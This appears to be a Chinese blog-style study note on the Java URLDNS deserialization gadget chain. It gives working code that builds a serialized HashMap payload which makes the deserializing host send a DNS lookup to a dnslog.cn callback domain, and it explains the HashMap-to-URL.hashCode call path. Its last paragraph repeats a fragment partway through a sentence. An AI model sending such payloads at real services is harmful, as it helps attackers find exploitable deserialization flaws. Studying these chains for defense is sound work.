URLDNS链
测试代码
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
unserialize("ser.bin");
}
}
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNSTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,Integer> hashmap=new HashMap<>();
URL url = new URL("http://7muliu.dnslog.cn");
//为了避免put时候发起请求,先将hashcode的值改成非-1的
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1);
hashmap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashmap);
}
}
分析
这条链调用的目标是URL
类的hashcode
方法,通过getHostAddress
产生DNS请求。
入口类就是HashMap
,它的readObject
方法中调用了hash
函数
然后hash
函数中又调用了hashCode
然后下一步就是给HashMap
传入URL
类,这样就可以调用URL
的hash
,进一步调用URL
的hash
的hashCode
HashMap<URL,Integer> hashmap=new HashMap<>();
URL url = new URL("http://7muliu.dnslog.cn");
这里填写好dns地址,然后实例化两个类的对象
HashMap
类的put
方法中有调用到hash
函数,同样会发起dns请求,为了不让序列化的过程中产生这个请求,需要把hashCode
的值改成非-1的值
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1);
这里用反射获取URL
的原型类,然后获取hashCode
并设置值为1
hashmap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashmap);
put完之后再将hashCode
的值改回-1,然后序列化
最后解决几个问题
为什么入口类用HashMap
,不直接用URL
之前看过了HashMap
类的readObject
方法,下面看一下URL
的readObject
方法
private synchronized void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
GetField gf = s.readFields();
String protocol = (String)gf.get("protocol", null);
if (getURLStreamHandler(protocol) == null) {
throw new IOException("unknown protocol: " + protocol);
}
String host = (String)gf.get("host", null);
int port = gf.get("port", -1);
String authority = (String)gf.get("authority", null);
String file = (String)gf.get("file", null);
String ref = (String)gf.get("ref", null);
int hashCode = gf.get("hashCode", -1);
if (authority == null
&& ((host != null && !host.isEmpty()) || port != -1)) {
if (host == null)
host = "";
authority = (port == -1) ? host : host + ":" + port;
}
tempState = new UrlDeserializedState(protocol, host, port, authority,
file, ref, hashCode);
}
他的readObject
类中没有有用的调用,虽然也有一个名字是hashCode
,但对应的值是一个变量,并不是目标函数,而我们的目标是URL
的hashCode
方法,恰好HashMap
的readObject
调用了hash
然后调用了hashCode
,然后把URL
类的对象url
传入HashMap
,就等于调用了URL
类的hashCode
量,并不是目标函数,而我们的目标是URL
的hashCode
方法,恰好HashMap
的readObject
调用了hash
然后调用了hashCode
,然后把URL
类的对象url
传入HashMap
,就等于调用了URL
类的hashCode